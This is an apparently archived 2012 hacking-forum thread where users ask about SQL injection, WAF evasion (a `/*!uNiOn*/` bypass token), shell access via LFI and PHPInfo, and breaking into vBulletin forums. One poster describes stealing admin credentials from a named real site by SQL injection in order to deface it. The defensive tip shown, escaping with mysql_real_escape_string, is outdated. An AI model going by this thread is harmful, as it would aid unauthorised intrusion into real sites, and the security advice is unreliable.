How can we prevent our website from SQLi attackers ? Is there a method to block SQL queries.. Web Application Firewall gets tricked if we use words like this `/*!uNiOn*/` so what is the exact way ? Please and thank you!

This is pretty basic PHP knowledge.

After getting the value for say id just sanitize it with something like the below code:

Code `$id=mysql_real_escape_string($id);`

No??????? - September 29, 2012, 11:22 pm

(Jun 25, 2012 11:25 AM)-DownFall Wrote: [\[CITE\]](#) There's a way to spawn a shell using PHP Info, now I'm not really sure of the circumstances, but maybe you should PM Hooded Robin about it. There's not really a lot of documentation on it, perhaps it'll help you out.

Is this what you're talking about:

<http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf> ?

SUPER CHAMP - September 30, 2012, 4:55 am

what is the best way to hack a vbulletin forum ? tried exploits, they are lame.

Airon - September 30, 2012, 6:11 am

(Sep 30, 2012 04:55 AM)SUPER CHAMP Wrote: [\[CITE\]](#) what is the best way to hack a vbulletin forum ? tried exploits, they are lame.

Yeah, I actually also want to know this.

No??????? - September 30, 2012, 6:38 am

(Sep 30, 2012 04:55 AM)SUPER CHAMP Wrote: [\[CITE\]](#) what is the best way to hack a vbulletin forum ? tried exploits, they are lame.

Exploits are lame? You're on the wrong forum buddy. The hacking process is almost always in the form of:

1. Find all information on target.
2. Use information to find vulnerabilities.
3. Exploit those vulnerabilities.
4. Profit???

If you don't like hacking, don't hack.

SUPER CHAMP - September 30, 2012, 6:59 am

(Sep 30, 2012 06:38 AM)??Yes Wrote: [\[CITE\]](#) Exploits are lame? You're on the wrong forum buddy. The hacking process is almost always in the form of:

1. Find all information on target.
2. Use information to find vulnerabilities.
3. Exploit those vulnerabilities.
4. Profit???

If you don't like hacking, don't hack.

After following zillions of tuts all I managed was an uncrackable hash.. Am I frustrated? Yeah.. ?

Im not interested in website hacking, I needa hack forum stuffs...

Any decent tut you can give me?

Also I like hacking and I will hack.. ?

ma_drt - September 30, 2012, 10:27 am

(Oct 19, 2011 07:26 AM)DARK CP4N3L Wrote: [\[CITE\]](#) Thanks for opening this thread zelos my question is why is it that when i get the admin details of a website i sqlied and find the admin panel then try logging in with the admin id and password doesnt work

instead it says username or passwd wrong

but im sure its correct because i injected it myself

a site like

<http://c2-europe.eu>

the admin panel is

<http://c2-europe.eu:2082>

for this reason i have not been able to deface because i cant log into any website whcih i sqli

the only one i got recently that logged in is in chinese

which i dont understand

thanks zelos

thats my major problem

i have up to four sites like this

thanks once more.

by sqli u have recived the password for admin panel not cpanel..cpanel passwords are not stored in ur db its with hosting